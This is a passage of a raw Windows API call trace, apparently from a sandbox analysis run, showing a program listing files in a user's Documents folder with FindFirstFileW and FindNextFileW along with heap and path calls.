ftCreationTime.dwLowDateTime=0x95146250, ftCreationTime.dwHighDateTime=0x1d4c74c, ftLastAccessTime.dwLowDateTime=0xafdb4dd0, ftLastAccessTime.dwHighDateTime=0x1d4c9ac, ftLastWriteTime.dwLowDateTime=0xafdb4dd0, ftLastWriteTime.dwHighDateTime=0x1d4c9ac, nFileSizeHigh=0x0, nFileSizeLow=0x1380c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PnL6Zh.flv", cAlternateFileName="")) returned 1 [0112.751] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1d345e0, ftCreationTime.dwHighDateTime=0x1d4c9d6, ftLastAccessTime.dwLowDateTime=0xb076ae70, ftLastAccessTime.dwHighDateTime=0x1d4cba4, ftLastWriteTime.dwLowDateTime=0xb076ae70, ftLastWriteTime.dwHighDateTime=0x1d4cba4, nFileSizeHigh=0x0, nFileSizeLow=0x18455, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rIBC47zYWHDhfd7P7Cw0.png", cAlternateFileName="RIBC47~1.PNG")) returned 1 [0112.751] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x217de030, ftCreationTime.dwHighDateTime=0x1d4c8cf, ftLastAccessTime.dwLowDateTime=0x1ac97780, ftLastAccessTime.dwHighDateTime=0x1d4c88a, ftLastWriteTime.dwLowDateTime=0x1ac97780, ftLastWriteTime.dwHighDateTime=0x1d4c88a, nFileSizeHigh=0x0, nFileSizeLow=0x1ddc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RrZY-uYtP04ki0fgCu.rtf", cAlternateFileName="RRZY-U~1.RTF")) returned 1 [0112.751] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb3ee760, ftCreationTime.dwHighDateTime=0x1d4d311, ftLastAccessTime.dwLowDateTime=0x59a3c150, ftLastAccessTime.dwHighDateTime=0x1d4d12b, ftLastWriteTime.dwLowDateTime=0x59a3c150, ftLastWriteTime.dwHighDateTime=0x1d4d12b, nFileSizeHigh=0x0, nFileSizeLow=0x111bb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RWHWfhMg5DcKSbU8_U.bmp", cAlternateFileName="RWHWFH~1.BMP")) returned 1 [0112.751] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5da5c1c0, ftCreationTime.dwHighDateTime=0x1d4cc6e, ftLastAccessTime.dwLowDateTime=0xf8d36cd0, ftLastAccessTime.dwHighDateTime=0x1d4cbbd, ftLastWriteTime.dwLowDateTime=0xf8d36cd0, ftLastWriteTime.dwHighDateTime=0x1d4cbbd, nFileSizeHigh=0x0, nFileSizeLow=0xef1b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="veEwU3WXHMSpQmMMV.mp4", cAlternateFileName="VEEWU3~1.MP4")) returned 1 [0112.751] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d4e18c0, ftCreationTime.dwHighDateTime=0x1d4c774, ftLastAccessTime.dwLowDateTime=0xf0dfdf20, ftLastAccessTime.dwHighDateTime=0x1d4d2a4, ftLastWriteTime.dwLowDateTime=0xf0dfdf20, ftLastWriteTime.dwHighDateTime=0x1d4d2a4, nFileSizeHigh=0x0, nFileSizeLow=0xa46e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Z6w5rSJNmosnOqNY.png", cAlternateFileName="Z6W5RS~1.PNG")) returned 1 [0112.751] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2adb9bc0, ftCreationTime.dwHighDateTime=0x1d4cd9a, ftLastAccessTime.dwLowDateTime=0x92f7e680, ftLastAccessTime.dwHighDateTime=0x1d4c581, ftLastWriteTime.dwLowDateTime=0x92f7e680, ftLastWriteTime.dwHighDateTime=0x1d4c581, nFileSizeHigh=0x0, nFileSizeLow=0xd53, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ze0Y.avi", cAlternateFileName="")) returned 1 [0112.751] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2adb9bc0, ftCreationTime.dwHighDateTime=0x1d4cd9a, ftLastAccessTime.dwLowDateTime=0x92f7e680, ftLastAccessTime.dwHighDateTime=0x1d4c581, ftLastWriteTime.dwLowDateTime=0x92f7e680, ftLastWriteTime.dwHighDateTime=0x1d4c581, nFileSizeHigh=0x0, nFileSizeLow=0xd53, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ze0Y.avi", cAlternateFileName="")) returned 0 [0112.751] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326ddb8 | out: hHeap=0x660000) returned 1 [0112.751] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.751] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0112.751] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.751] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.751] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.751] PathFindFileNameW (pszPath="") returned="" [0112.752] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x95971d30, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x95971d30, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf468 | out: hHeap=0x660000) returned 1 [0112.752] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x95971d30, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x95971d30, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.753] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd93d7eb0, ftCreationTime.dwHighDateTime=0x1d4c5dc, ftLastAccessTime.dwLowDateTime=0xe3330ee0, ftLastAccessTime.dwHighDateTime=0x1d4cc93, ftLastWriteTime.dwLowDateTime=0xe3330ee0, ftLastWriteTime.dwHighDateTime=0x1d4cc93, nFileSizeHigh=0x0, nFileSizeLow=0x119c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-gxq8.pptx", cAlternateFileName="-GXQ8~1.PPT")) returned 1 [0112.753] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d34ac20, ftCreationTime.dwHighDateTime=0x1d533eb, ftLastAccessTime.dwLowDateTime=0xa8510590, ftLastAccessTime.dwHighDateTime=0x1d4c327, ftLastWriteTime.dwLowDateTime=0xa8510590, ftLastWriteTime.dwHighDateTime=0x1d4c327, nFileSizeHigh=0x0, nFileSizeLow=0x24da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="81kerGqg6_j2b6.pptx", cAlternateFileName="81KERG~1.PPT")) returned 1 [0112.753] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eab0cc0, ftCreationTime.dwHighDateTime=0x1d4cecb, ftLastAccessTime.dwLowDateTime=0xb1ef0140, ftLastAccessTime.dwHighDateTime=0x1d4ca1d, ftLastWriteTime.dwLowDateTime=0xb1ef0140, ftLastWriteTime.dwHighDateTime=0x1d4ca1d, nFileSizeHigh=0x0, nFileSizeLow=0x9525, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="95fISoK jESPo8EvK8TF.docx", cAlternateFileName="95FISO~1.DOC")) returned 1 [0112.753] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24303cd0, ftCreationTime.dwHighDateTime=0x1d4dd45, ftLastAccessTime.dwLowDateTime=0x2fd06fb0, ftLastAccessTime.dwHighDateTime=0x1d51323, ftLastWriteTime.dwLowDateTime=0x2fd06fb0, ftLastWriteTime.dwHighDateTime=0x1d51323, nFileSizeHigh=0x0, nFileSizeLow=0x339f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cv2QjF4C3ccq--VP.xlsx", cAlternateFileName="CV2QJF~1.XLS")) returned 1 [0112.753] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3125ad80, ftCreationTime.dwHighDateTime=0x1d51b89, ftLastAccessTime.dwLowDateTime=0x4ae5efe0, ftLastAccessTime.dwHighDateTime=0x1d52085, ftLastWriteTime.dwLowDateTime=0x4ae5efe0, ftLastWriteTime.dwHighDateTime=0x1d52085, nFileSizeHigh=0x0, nFileSizeLow=0x17c98, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DavXsI9enkQSR.pptx", cAlternateFileName="DAVXSI~1.PPT")) returned 1 [0112.753] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.753] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fea3990, ftCreationTime.dwHighDateTime=0x1d4c993, ftLastAccessTime.dwLowDateTime=0xd016b750, ftLastAccessTime.dwHighDateTime=0x1d4c985, ftLastWriteTime.dwLowDateTime=0xd016b750, ftLastWriteTime.dwHighDateTime=0x1d4c985, nFileSizeHigh=0x0, nFileSizeLow=0x498c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ilqiF.odp", cAlternateFileName="")) returned 1 [0112.753] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15444050, ftCreationTime.dwHighDateTime=0x1d4c953, ftLastAccessTime.dwLowDateTime=0xecc11b00, ftLastAccessTime.dwHighDateTime=0x1d4c8d3, ftLastWriteTime.dwLowDateTime=0xecc11b00, ftLastWriteTime.dwHighDateTime=0x1d4c8d3, nFileSizeHigh=0x0, nFileSizeLow=0x18993, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jdj STUTpip.ots", cAlternateFileName="JDJSTU~1.OTS")) returned 1 [0112.753] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7a6c40, ftCreationTime.dwHighDateTime=0x1d4e830, ftLastAccessTime.dwLowDateTime=0xa6ce5640, ftLastAccessTime.dwHighDateTime=0x1d4fd48, ftLastWriteTime.dwLowDateTime=0xa6ce5640, ftLastWriteTime.dwHighDateTime=0x1d4fd48, nFileSizeHigh=0x0, nFileSizeLow=0x1b68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j_udvQCV.xlsx", cAlternateFileName="J_UDVQ~1.XLS")) returned 1 [0112.753] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49914c90, ftCreationTime.dwHighDateTime=0x1d4ac2a, ftLastAccessTime.dwLowDateTime=0xb66a75a0, ftLastAccessTime.dwHighDateTime=0x1d4c32a, ftLastWriteTime.dwLowDateTime=0xb66a75a0, ftLastWriteTime.dwHighDateTime=0x1d4c32a, nFileSizeHigh=0x0, nFileSizeLow=0x5d95, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kei5.docx", cAlternateFileName="KEI5~1.DOC")) returned 1 [0112.753] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95533be0, ftCreationTime.dwHighDateTime=0x1d4cea6, ftLastAccessTime.dwLowDateTime=0x3f612280, ftLastAccessTime.dwHighDateTime=0x1d4c8a0, ftLastWriteTime.dwLowDateTime=0x3f612280, ftLastWriteTime.dwHighDateTime=0x1d4c8a0, nFileSizeHigh=0x0, nFileSizeLow=0x18778, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kX2tA98.odp", cAlternateFileName="")) returned 1 [0112.753] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7649300, ftCreationTime.dwHighDateTime=0x1d4b4df, ftLastAccessTime.dwLowDateTime=0x74d6af20, ftLastAccessTime.dwHighDateTime=0x1d4fa19, ftLastWriteTime.dwLowDateTime=0x74d6af20, ftLastWriteTime.dwHighDateTime=0x1d4fa19, nFileSizeHigh=0x0, nFileSizeLow=0x128c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="L7nPtbAUFXsB.xlsx", cAlternateFileName="L7NPTB~1.XLS")) returned 1 [0112.753] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0112.753] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0112.753] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0112.753] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0112.753] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0ff78c0, ftCreationTime.dwHighDateTime=0x1d51f8a, ftLastAccessTime.dwLowDateTime=0x3b783c90, ftLastAccessTime.dwHighDateTime=0x1d52d8a, ftLastWriteTime.dwLowDateTime=0x3b783c90, ftLastWriteTime.dwHighDateTime=0x1d52d8a, nFileSizeHigh=0x0, nFileSizeLow=0x9adf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NkSC620KY1G.xlsx", cAlternateFileName="NKSC62~1.XLS")) returned 1 [0112.754] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d671e0, ftCreationTime.dwHighDateTime=0x1d4cb9d, ftLastAccessTime.dwLowDateTime=0x95bbcd0, ftLastAccessTime.dwHighDateTime=0x1d4d05d, ftLastWriteTime.dwLowDateTime=0x95bbcd0, ftLastWriteTime.dwHighDateTime=0x1d4d05d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OstAGQ_x8J4h", cAlternateFileName="OSTAGQ~1")) returned 1 [0112.754] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0112.754] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dcc5a60, ftCreationTime.dwHighDateTime=0x1d4ca63, ftLastAccessTime.dwLowDateTime=0x5dab0cb0, ftLastAccessTime.dwHighDateTime=0x1d4c63e, ftLastWriteTime.dwLowDateTime=0x5dab0cb0, ftLastWriteTime.dwHighDateTime=0x1d4c63e, nFileSizeHigh=0x0, nFileSizeLow=0x13f0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OwRe9Z9bAXQhesUnEazF.doc", cAlternateFileName="OWRE9Z~1.DOC")) returned 1 [0112.754] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bf8a650, ftCreationTime.dwHighDateTime=0x1d52c6f, ftLastAccessTime.dwLowDateTime=0xd0430d20, ftLastAccessTime.dwHighDateTime=0x1d4f859, ftLastWriteTime.dwLowDateTime=0xd0430d20, ftLastWriteTime.dwHighDateTime=0x1d4f859, nFileSizeHigh=0x0, nFileSizeLow=0x55c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pKUj8876P.docx", cAlternateFileName="PKUJ88~1.DOC")) returned 1 [0112.754] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ccd8990, ftCreationTime.dwHighDateTime=0x1d4c5be, ftLastAccessTime.dwLowDateTime=0x6b049110, ftLastAccessTime.dwHighDateTime=0x1d4c6a2, ftLastWriteTime.dwLowDateTime=0x6b049110, ftLastWriteTime.dwHighDateTime=0x1d4c6a2, nFileSizeHigh=0x0, nFileSizeLow=0x1061d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PxpzY_JBUc8.ppt", cAlternateFileName="PXPZY_~1.PPT")) returned 1 [0112.754] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fcc82b0, ftCreationTime.dwHighDateTime=0x1d4ff4d, ftLastAccessTime.dwLowDateTime=0x74612380, ftLastAccessTime.dwHighDateTime=0x1d52cba, ftLastWriteTime.dwLowDateTime=0x74612380, ftLastWriteTime.dwHighDateTime=0x1d52cba, nFileSizeHigh=0x0, nFileSizeLow=0x14aa8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RWDHO0IzJxGN9pWG.pptx", cAlternateFileName="RWDHO0~1.PPT")) returned 1 [0112.754] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83bc2c0, ftCreationTime.dwHighDateTime=0x1d4c083, ftLastAccessTime.dwLowDateTime=0x92dec0a0, ftLastAccessTime.dwHighDateTime=0x1d4ac50, ftLastWriteTime.dwLowDateTime=0x92dec0a0, ftLastWriteTime.dwHighDateTime=0x1d4ac50, nFileSizeHigh=0x0, nFileSizeLow=0x18722, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ToYMawRVB8dOMOTUs.docx", cAlternateFileName="TOYMAW~1.DOC")) returned 1 [0112.754] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec158580, ftCreationTime.dwHighDateTime=0x1d4e51e, ftLastAccessTime.dwLowDateTime=0xbe9acde0, ftLastAccessTime.dwHighDateTime=0x1d4d2ef, ftLastWriteTime.dwLowDateTime=0xbe9acde0, ftLastWriteTime.dwHighDateTime=0x1d4d2ef, nFileSizeHigh=0x0, nFileSizeLow=0xdc9e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="U3qy.pptx", cAlternateFileName="U3QY~1.PPT")) returned 1 [0112.754] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf0dd90, ftCreationTime.dwHighDateTime=0x1d4bbd6, ftLastAccessTime.dwLowDateTime=0xbe575600, ftLastAccessTime.dwHighDateTime=0x1d50e68, ftLastWriteTime.dwLowDateTime=0xbe575600, ftLastWriteTime.dwHighDateTime=0x1d50e68, nFileSizeHigh=0x0, nFileSizeLow=0x166a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="U9 Gu49ZvH33.docx", cAlternateFileName="U9GU49~1.DOC")) returned 1 [0112.754] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511c2860, ftCreationTime.dwHighDateTime=0x1d4d3dd, ftLastAccessTime.dwLowDateTime=0x6d78ec60, ftLastAccessTime.dwHighDateTime=0x1d4c9d7, ftLastWriteTime.dwLowDateTime=0x6d78ec60, ftLastWriteTime.dwHighDateTime=0x1d4c9d7, nFileSizeHigh=0x0, nFileSizeLow=0x8a3b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VW61dc17V6x.pdf", cAlternateFileName="VW61DC~1.PDF")) returned 1 [0112.754] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36a27c0, ftCreationTime.dwHighDateTime=0x1d4d437, ftLastAccessTime.dwLowDateTime=0x73ce1740, ftLastAccessTime.dwHighDateTime=0x1d4d934, ftLastWriteTime.dwLowDateTime=0x73ce1740, ftLastWriteTime.dwHighDateTime=0x1d4d934, nFileSizeHigh=0x0, nFileSizeLow=0xbe08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wKt8pNbMIBpNV1.docx", cAlternateFileName="WKT8PN~1.DOC")) returned 1 [0112.754] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3d1bf0, ftCreationTime.dwHighDateTime=0x1d4e920, ftLastAccessTime.dwLowDateTime=0x5efc630, ftLastAccessTime.dwHighDateTime=0x1d4d9cd, ftLastWriteTime.dwLowDateTime=0x5efc630, ftLastWriteTime.dwHighDateTime=0x1d4d9cd, nFileSizeHigh=0x0, nFileSizeLow=0xeda7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x-dfNPgeB.pptx", cAlternateFileName="X-DFNP~1.PPT")) returned 1 [0112.754] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f2e3590, ftCreationTime.dwHighDateTime=0x1d4c8f6, ftLastAccessTime.dwLowDateTime=0x97864e10, ftLastAccessTime.dwHighDateTime=0x1d4cc6d, ftLastWriteTime.dwLowDateTime=0x97864e10, ftLastWriteTime.dwHighDateTime=0x1d4cc6d, nFileSizeHigh=0x0, nFileSizeLow=0x16dd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XSVP9deEn8lAX Ja.ppt", cAlternateFileName="XSVP9D~1.PPT")) returned 1 [0112.754] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f91fa0, ftCreationTime.dwHighDateTime=0x1d4c921, ftLastAccessTime.dwLowDateTime=0xe25fb480, ftLastAccessTime.dwHighDateTime=0x1d4ca7e, ftLastWriteTime.dwLowDateTime=0xe25fb480, ftLastWriteTime.dwHighDateTime=0x1d4ca7e, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZUzJ97kgSmpFwdzhg.pps", cAlternateFileName="ZUZJ97~1.PPS")) returned 1 [0112.754] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45e2380, ftCreationTime.dwHighDateTime=0x1d4cb44, ftLastAccessTime.dwLowDateTime=0xe76b760, ftLastAccessTime.dwHighDateTime=0x1d4c54a, ftLastWriteTime.dwLowDateTime=0xe76b760, ftLastWriteTime.dwHighDateTime=0x1d4c54a, nFileSizeHigh=0x0, nFileSizeLow=0x12efe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_f1HsCMD.ots", cAlternateFileName="")) returned 1 [0112.754] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a5ac60, ftCreationTime.dwHighDateTime=0x1d5313c, ftLastAccessTime.dwLowDateTime=0x14569fe0, 